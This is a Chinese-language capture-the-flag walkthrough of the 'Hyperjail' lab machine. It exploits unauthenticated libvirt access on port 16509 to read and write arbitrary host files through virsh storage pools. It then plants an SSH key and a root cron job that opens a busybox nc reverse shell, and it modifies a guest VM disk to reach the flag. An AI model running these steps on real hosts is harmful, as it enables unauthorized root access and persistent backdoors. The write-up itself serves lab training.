

靶机信息

靶机名称: Hyperjail

靶机作者: qiaojojo

靶机类型: Linux

来源: MazeSec/QQ内部群 660930334

官网: <https://maze-sec.com/>

存活主机发现

使用 arp-scan 进行局域网内存活主机扫描, 发现目标主机 IP 地址为 192.168.6.185

```
arp-scan -l
```

PCS Systemtechnik GmbH 是一家德国公司, 根据 MAC 地址前缀 08:00:27, 可以推测该设备可能是使用 VirtualBox 虚拟化软件创建的虚拟机, 因为这个 MAC 地址前缀通常与 VirtualBox 相关联。
192.168.6.185 08:00:27:b9:e2:2d PCS Systemtechnik GmbH

端口扫描

对目标主机进行全端口扫描, 使用 -sT 进行 TCP 连接扫描。

```
nmap 192.168.6.185 -p- -sT -n
```

result

PORT	STATE	SERVICE
53/tcp	open	domain
2222/tcp	open	EtherNetIP-1
3389/tcp	open	ms-wbt-server
16509/tcp	open	unknown

使用 -sV 对已知端口进行版本扫描

```
nmap 192.168.6.185 -p 2222,3389,16509 -sV
```

result

PORT	STATE	SERVICE	VERSION
2222/tcp	open	ssh	OpenSSH 10.0 (protocol 2.0)
3389/tcp	open	ssh	OpenSSH 10.0 (protocol 2.0)
16509/tcp	open	unknown	

MAC Address: 08:00:27:B9:E2:2D (Oracle VirtualBox virtual NIC)

2222、3389 端口运行 OpenSSH 10.0, 16509 端口服务未知。

libvirt 未授权访问

搜索引擎搜索 16509 端口, 热情哈基米给出信息

16509端口 - Google Search

16509端口

Google

16509端口

AI Mode All Shopping News Images Videos Short videos More Tools

AI Overview

在计算机网络中，16509端口通常被用作 libvirt 守护进程 (libvirtd) 的非加密 TCP 通信端口。它主要用于虚拟化环境的远程管理。[SUSE Documentation +2](#)

核心功能与用途

- 虚拟机远程管理: 如果你使用如 QEMU/KVM 等虚拟化技术，libvirtd 服务负责管理虚拟机的生命周期（创建、启动、关闭等）。16509端口允许管理员通过网络连接到宿主主机，执行远程管理操作。
- 连接 URI 示例: 在使用 virsh 命令行工具时，通常通过类似 qemu+tcp://<宿主机IP>/system 的格式发起通信，从而调用此端口。[Red Hat Documentation +4](#)

安全警告与最佳实践

默认情况下，16509端口不提供任何身份验证和加密保护（属于明文传输）。为了系统安全，建议遵循以下标准防护措施：[SUSE Documentation +1](#)

- 禁止暴露公网: 严禁将 16509 端口直接暴露在互联网上，以免遭受未经授权访问攻击。
- 防火墙限制: 利用防火墙（如 iptables 或 firewalld）设置访问白名单，仅允许受信任的内网 IP（如运维跳板机）访问此端口。
- 开启身份验证: 建议修改配置文件（/etc/libvirt/libvirtd.conf）将认证方式（auth_tcp）修改为 SASL 或 TLS。
- 使用加密端口（16514）: 若需跨公网进行远程管理，应配置 x509 证书并优先使用支持 TLS 加密的 16514 端口。[SUSE Documentation +2](#)

您可以查阅 [Red Hat 虚拟化指南](#) 获取更多关于此端口故障排查与配置的详细说明。[Red Hat Documentation](#)

Dive deeper in AI Mode

A.19.2.2. 无法通过'host:16509' 连接到服务器: 连接已拒绝

A.19.2.2. 无法通过'host:16509' 连接到服务器: 连接已拒绝. 症状. 虽然 libvirtd 应该侦听...

Red Hat Documentation

libvirt 守护进程 | 虚拟化指南 | SLES 15 SP5

libvirtd-tcp.socket - 与用于进行非TLS 远程访问的TCP 16509 端口对应的单元文件。在管理...

SUSE Documentation

警惕Libvirt未授权访问漏洞: 虚拟化环境的隐形安全隐患

Feb 12, 2026 — 紧急整改: 当天可完成, 快速封堵漏洞. 1. 启用认证: 编辑/etc/libvirt/libvirtd.conf, 将a...

阿里云开发者社区

Show all

在计算机网络中，16509端口通常被用作 libvirt 守护进程 (libvirtd) 的非加密 TCP 通信端口。它主要用于 QEMU/KVM 等虚拟化环境的远程管理。

同时给出了重要信息：**默认情况下，16509端口不提供任何身份验证和加密保护**

用法：在使用 virsh 命令行工具时，通常通过类似 qemu+tcp://<宿主机IP>/system 的格式发起通信，从而调用此端口。

安装客户端，验证是否存在未授权访问

```
apt install libvirt-clients
virsh -c qemu+tcp://192.168.6.185/system
```

远程主机存在未授权访问漏洞，成功连接到 libvirt 守护进程。

对象	操作的宿主机资源	说明
Storage Pool	宿主机的目录、分区、LVM 卷组、NFS 挂载点等	相当于在宿主机上创建、删除、启动、停止一个“存储容器”
Storage Volume	宿主机的文件（如 <code>.qcow2</code> 、 <code>.raw</code> ）或 LVM 逻辑卷	在池内部创建/删除虚拟硬盘文件，这些文件直接存放在宿主机的文件系统中

找出几条文件读写、目录创建删除的命令：

```
# 列出目录
pool-list --all

# 创建文件
vol-create-as <pool> <name> <size> --format <fmt>

# 写入文件
vol-upload <vol> <local-file>

# 下载文件
vol-download <vol> <local-file>

# 删除文件
vol-delete <vol> --pool <pool>

# 列出文件
vol-list <pool>

# 创建目录
vol-create-as operation .ssh 0 --allocation 0 --format dir

# 删除目录
vol-delete --vol .ssh --pool operation
```

📁 目录操作 (类似 `mkdir`, `rmdir`)

在 libvirt 中，目录本身是被抽象为“存储池”来管理的。创建一个目录通常意味着创建一个新的目录类型的池。

操作意图	virsh 命令	等效的 Shell 命令	说明
创建目录	<code>pool-create-as <name> dir --target <path></code>	<code>mkdir -p <path></code>	创建目录并将其定义为持久化存储池
删除目录	<code>pool-delete <pool></code> <code>pool-undefine <pool></code>	<code>rm -rf <path></code>	危险：会删除目录及其所有内容
查看目录	<code>pool-list --all</code> <code>pool-dumpxml <pool></code>	<code>ls -ld <path></code>	查看已注册的池及其目标路径

■ 文件操作 (类似 touch, cat, rm, cp, mv)

文件操作通过 **Volume (卷)** 命令实现。卷通常是虚拟机的磁盘镜像 (如 `.qcow2`、`.raw`)。

操作意图	virsh 命令	等效的 Shell 命令	说明
创建空文件	<code>vol-create-as <pool> <name> <size> --format <fmt></code>	<code>qemu-img create -f <fmt> <path> <size></code>	创建虚拟磁盘镜像文件, 需指定大小和格式 (如 <code>qcow2</code> , <code>raw</code>)
写入文件内容	<code>vol-upload <vol> <local-file></code>	<code>dd if=<local-file> of=<vol> bs=4k</code>	将本地文件内容覆盖写入到卷中
读取文件内容	<code>vol-download <vol> <local-file></code>	<code>dd if=<vol> of=<local-file> bs=4k</code>	将卷的全部内容下载到本地文件
删除文件	<code>vol-delete <vol> --pool <pool></code>	<code>rm <path></code>	删除指定的卷文件
查看文件列表	<code>vol-list <pool></code>	<code>ls -l <pool-path></code>	列出指定存储池中的所有卷
查看文件信息	<code>vol-info <vol> --pool <pool></code>	<code>qemu-img info <path></code>	查看卷的详细信息 (容量、实际占用等)
复制文件	<code>vol-clone <original-vol> <new-vol> --pool <pool></code>	<code>cp <old-path> <new-path></code>	克隆一个现有的卷
调整文件大小	<code>vol-resize <vol> <new-size> --pool <pool></code>	<code>qemu-img resize <path> <size></code>	增大或缩小卷的容量
安全擦除文件	<code>vol-wipe <vol> --pool <pool></code>	<code>shred -z <path></code>	用数据覆写卷内容以安全删除

查看当前已有的存储池和存储卷, 存在 `images` 和 `operation` 存储池, 列出 `operation` 存储卷的内容, 可以看出是 `/home/operation` 家目录

```
# 列出存储池
pool-list --all
# 列出存储卷
vol-list <存储池名称>
```

```
virsh #
virsh # pool-list --all
  Name      State   Autostart
  --
  images    active  yes
  operation  active  yes

virsh # vol-list images
  Name      Path
  --
  kvm799.qcow2  /var/lib/libvirt/images/kvm799.qcow2

virsh # vol-list operation
  Name      Path
  --
  .ssh      /home/operation/.ssh
  alpine-virt-3.22.0-x86_64.iso /home/operation/alpine-virt-3.22.0-x86_64.iso
  copy-fail ... ? /home/operation/copy-fail ... ?
  README.txt /home/operation/README.txt

virsh #
```

尝试把远程 `operation` 存储池中的 `readme` 文件下载到本地, 验证是否可行

```
# 下载文件
vol-download README.txt /tmp/readme --pool operation
```

在本地成功下载了 readme 文件

```
└─(root@kali)-[~]
└─# cat /tmp/readme
If I discover again that you are using a virtual machine to transfer the host machine's
configuration files, you will be fired. Clean up your services within today!
```

尝试修改 operation 存储池的路径为 /home/operation/.ssh，当前身份应该是 libvirt 进程的高权限身份或者 root 身份，猜测可行。

```
# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件
pool-edit operation
# 重启存储池
pool-start operation
# 列出存储卷
vol-list operation
# 下载公钥，查看公钥信息
vol-download authorized_keys /tmp/authorized_keys --pool operation
```

```
virsh # pool-destroy operation
Pool operation destroyed

virsh # pool-edit operation
Pool operation XML configuration edited.

virsh # vol-list operation
error: Failed to list volumes
error: Requested operation is not valid: storage pool 'operation' is not active

virsh # pool-start operation
Pool operation started

virsh # vol-list operation
  Name                               Path
  ────┬───────────────────────────
authorized_keys    /home/operation/.ssh/authorized_keys

virsh # vol-download authorized_keys /tmp/authorized_keys --pool operation

virsh # |
```

存储池只存放了公钥，本地下载成功，说明存储池配置修改成功

```
└─(root@kali)-[~]
└─# cat /tmp/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOkhxu+6Hkpx0ckvcOoGNrm5Hb2xYCFsgVH6BIOElmw3
root@localhost
```

实际验证时，可以把 operation 存储池的路径修改为任意路径，读写任意文件，创建删除任意目录

获取远程 root 权限

1.写入公钥

尝试修改 operation 存储池的路径为 /root, 创建 .ssh 目录

```
# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件, 路径改为 /root
pool-edit operation
# 重启存储池
pool-start operation
# 创建 .ssh 目录
vol-create-as operation .ssh 0 --allocation 0 --format dir
# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件, 路径改为 /root/.ssh/
pool-edit operation
# 重启存储池
pool-start operation
# 创建公钥
vol-create-as operation authorized_keys 0 --allocation 0 --format raw
# 在本地/tmp目录准备公钥, 写入公钥
vol-upload --vol authorized_keys --file /tmp/authorized_keys --pool operation
# 下载到本地验证
vol-download authorized_keys /tmp/authorized_keys.1 --pool operation
```

```
virsh # pool-destroy operation
Pool operation destroyed

virsh # pool-edit operation
Pool operation XML configuration edited.

virsh # pool-start operation
Pool operation started

virsh # vol-create-as operation authorized_keys 0 --allocation 0 --format raw
Vol authorized_keys created

virsh # vol-upload --vol authorized_keys --file /tmp/authorized_keys --pool operation

virsh # vol-download authorized_keys /tmp/authorized_keys.1 --pool operation

virsh # vol-list operation
  Name                Path
  ----                -
authorized_keys       /root/.ssh/authorized_keys

virsh # |
```

```

(root@kali)~# cp .ssh/authorized_keys /tmp/authorized_keys

(root@kali)~# cat /tmp/authorized_keys.1
ssh-ed25519 AAAA:33y7t1I7LX3Ts root@kali

(root@kali)~# ssh root@192.168.6.185 -p 3389
The authenticity of host '[192.168.6.185]:3389 ([192.168.6.185]:3389)' can't be established.
ED25519 key fingerprint is: SHA256:yVPJgQ8aaNpsr6MPk/yyIVsSbiv7L43lRuIzhsTsJvo
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:47: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.6.185]:3389' (ED25519) to the list of known hosts.
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

Hyperjail:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape)
Hyperjail:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 08:00:27:b9:e2:2d brd ff:ff:ff:ff:ff:ff
    inet 192.168.6.185/24 brd 192.168.6.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:feb9:e22d/64 scope link
        valid_lft forever preferred_lft forever
3: virbr0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP qlen 1000
    link/ether 52:54:00:03:cc:62 brd ff:ff:ff:ff:ff:ff
    inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0
        valid_lft forever preferred_lft forever
4: vnet0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master virbr0 state UNKNOWN qlen 1000
    link/ether fe:54:00:5d:8f:b0 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::fc54:ff:fe5d:8fb0/64 scope link
        valid_lft forever preferred_lft forever

```

2.定时任务

尝试修改 operation 存储池的路径为 /etc/crontabs/, 写入root用户定时任务

```

# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件, 路径改为 /etc/crontabs/
pool-edit operation
# 重启存储池
pool-start operation

```



```
<pool type='dir'>
  <name>operation</name>
  <uuid>6c9e798b-6c15-404b-a9f3-10c740afaf3e</uuid>
  <capacity unit='bytes'>26987384832</capacity>
  <allocation unit='bytes'>1051922432</allocation>
  <available unit='bytes'>25935462400</available>
  <source>
  </source>
  <target>
    <path>/etc/crontabs/</path>
    <permissions>
      <mode>0755</mode>
      <owner>0</owner>
      <group>0</group>
    </permissions>
  </target>
</pool>
~
~
~
```



在本地写入

```
echo '* * * * * sh -c "busybox nc 192.168.6.111 4444 -e /bin/sh"' > /tmp/cron.1
```

把本地的 cron.1 文件上传到远程 /etc/crontabs/ 目录

```
# 上传文件
vol-upload --vol root --file /tmp/cron.1 --pool operation
# 下载到本地验证文件内容
vol-download root /tmp/cron.2 --pool operation
```

```

virsh # pool-destroy operation
Pool operation destroyed

virsh # pool-edit operation
Pool operation XML configuration edited.

virsh # pool-edit operation
Pool operation XML configuration not changed.

virsh # pool-start operation
Pool operation started

virsh # vol-list operation
Name    Path
-----
root    /etc/crontabs/root

virsh # vol-upload --vol root --file /tmp/cron.1 --pool operation
error: cannot read /tmp/cron.1

virsh # vol-upload --vol root --file /tmp/cron.1 --pool operation

virsh # vol-download root /tmp/cron.2 --pool operation

virsh # |

```

看到写入内容后面跟了一坨错误格式，不重要，alpine 的 busybox crond 按行解析定时任务，错误格式的部分会被忽略，不影响定时任务的执行

alpine 靶机对定时任务的解析方式是按行解析的，错误格式的部分会被忽略，不影响定时任务的执行。注意，如果目标靶机是 debian 系统，定时任务出现错误时，整个定时任务文件会被忽略

```

(root@kali)-[~]
# echo '* * * * * busybox nc 192.168.6.111 4444 -e /bin/sh' > /tmp/cron.1

(root@kali)-[~]
# cat /tmp/cron.2
* * * * * busybox nc 192.168.6.111 4444 -e /bin/sh
month weekday command
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
0 2 * * * run-parts /etc/periodic/daily
0 3 * * 6 run-parts /etc/periodic/weekly
0 5 1 * * run-parts /etc/periodic/monthly

(root@kali)-[~]
# |

```

```

(root@kali)~# cat /tmp/cron.2

* * * * * /bin/sh -c 'busybox nc 192.168.6.111 4444 -e /bin/sh'

command
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
0 2 * * * run-parts /etc/periodic/daily
0 3 * * 6 run-parts /etc/periodic/weekly
0 5 1 * * run-parts /etc/periodic/monthly

(root@kali)~# nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.111] from (UNKNOWN) [192.168.6.185] 41553
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

```

测试过程发现，定时任务表现不稳定，在通过公钥上去后，定时任务才正常运行()

user flag

user flag不在宿主机，operation 用户的公钥备注为 root@localhost，主机名为localhost，猜测可能是虚拟机的 root@localhost，ssh端口对应 2222

```

Hyperjail:~# ls
H3r315TRUEfL@g.txt  root.txt
Hyperjail:~# cat H3r315TRUEfL@g.txt
hvm{ae1edcc0-23c8-4d3d-909a-b533524c8049}
Hyperjail:~# ls -alh /home/*
total 64M
drwxr-sr-x 3 operation operation 4.0K May 7 16:00 .
drwxr-xr-x 3 root root 4.0K Jul 4 2025 ..
lrwxrwxrwx 1 operation operation 9 Jul 4 2025 .ash_history -> /dev/null
drwxr-sr-x 2 operation operation 4.0K Jul 8 2025 .ssh
-rw-r--r-- 1 operation operation 165 Jul 8 2025 README.txt
-rw-r--r-- 1 operation operation 64.0M Jul 4 2025 alpine-virt-3.22.0-x86_64.iso
-rwxr-xr-x 1 operation operation 28.4K May 7 15:59 copy-fail ... ?
Hyperjail:~# find / -name 'user.txt' 2>/dev/null
Hyperjail:~# ls -alh /home/operation/.ssh/
total 12K
drwxr-sr-x 2 operation operation 4.0K Jul 8 2025 .
drwxr-sr-x 3 operation operation 4.0K May 7 16:00 ..
-rw-r--r-- 1 operation operation 96 Jul 10 2025 authorized_keys
Hyperjail:~# cat /home/operation/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOkhXu+6Hkpx0ckvc0oGNrm5Hb2xYCFsgVH6BIOElMw3 root@localhost
Hyperjail:~# hostname
Hyperjail
Hyperjail:~#

```

virsh 列出虚拟机

```

virsh # list --all
 Id   Name      State
-----
 1    kvm799    running

```

挂载添加公钥

1. 关闭虚拟机

```
virsh destroy kvm799
```

2. 现在挂载

```
modprobe nbd
```

```
qemu-nbd --connect=/dev/nbd0 /var/lib/libvirt/images/kvm799.qcow2
```

```
fdisk -l /dev/nbd0
```

挂载 / 分区

```
mount /dev/nbd0p3 /mnt
```

3. 添加公钥

```
mkdir -p /mnt/root/.ssh
```

```
echo 'ssh-ed25519 xxxx root@kali' >> /mnt/root/.ssh/authorized_keys
```

```
chmod 700 /mnt/root/.ssh
```

```
chmod 600 /mnt/root/.ssh/authorized_keys
```

4. 卸载并启动

```
umount /mnt
```

```
qemu-nbd --disconnect /dev/nbd0
```

```
virsh start kvm799
```

```
Hyperjail:~# virsh destroy kvm799  
Domain 'kvm799' destroyed
```

```
Hyperjail:~# modprobe nbd
```

```
Hyperjail:~# qemu-nbd --connect=/dev/nbd0 /var/lib/libvirt/images/kvm799.qcow2
```

```
Hyperjail:~# fdisk -l /dev/nbd0
```

```
Disk /dev/nbd0: 10 GiB, 10737418240 bytes, 20971520 sectors
```

```
Units: sectors of 1 * 512 = 512 bytes
```

```
Sector size (logical/physical): 512 bytes / 512 bytes
```

```
I/O size (minimum/optimal): 512 bytes / 131072 bytes
```

```
Disklabel type: dos
```

```
Disk identifier: 0x5aa98e9f
```

Device	Boot	Start	End	Sectors	Size	Id	Type
/dev/nbd0p1	*	2048	616447	614400	300M	83	Linux
/dev/nbd0p2		616448	4599807	3983360	1.9G	82	Linux swap / Solaris
/dev/nbd0p3		4599808	20971519	16371712	7.8G	83	Linux

```
Hyperjail:~# mount /dev/nbd0p3 /mnt
```

```
Hyperjail:~# ls /mnt
```

bin	dev	home	lost+found	mnt	proc	run	srv	tmp	var
boot	etc	lib	media	opt	root	sbin	sys	usr	

```
Hyperjail:~# mkdir -p /mnt/root/.ssh
```

```
Hyperjail:~# echo 'ssh-ed25519 xxxx root@kali' >> /mnt/root/.ssh/authorized_keys
```

```
Hyperjail:~# chmod 700 /mnt/root/.ssh
```

```
Hyperjail:~# chmod 600 /mnt/root/.ssh/authorized_keys
```

```
Hyperjail:~# umount /mnt
```

```
Hyperjail:~# qemu-nbd --disconnect /dev/nbd0
```

```
/dev/nbd0 disconnected
```

```
Hyperjail:~# virsh start kvm799
```

```
Domain 'kvm799' started
```

```
Hyperjail:~# |
```

```
root@kali: ~  
(root@kali)-[~]  
# ssh root@192.168.6.185 -p 2222  
Welcome to Alpine!  
  
The Alpine Wiki contains a large amount of how-to guides and general  
information about administrating Alpine systems.  
See <https://wiki.alpinelinux.org/>.  
  
You can setup the system with the command: setup-alpine  
  
You may change this message by editing /etc/motd.  
  
localhost:~# id  
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)  
localhost:~# ls  
user.txt  
localhost:~# cat user.txt  
hmv{[REDACTED]}  
localhost:~# |
```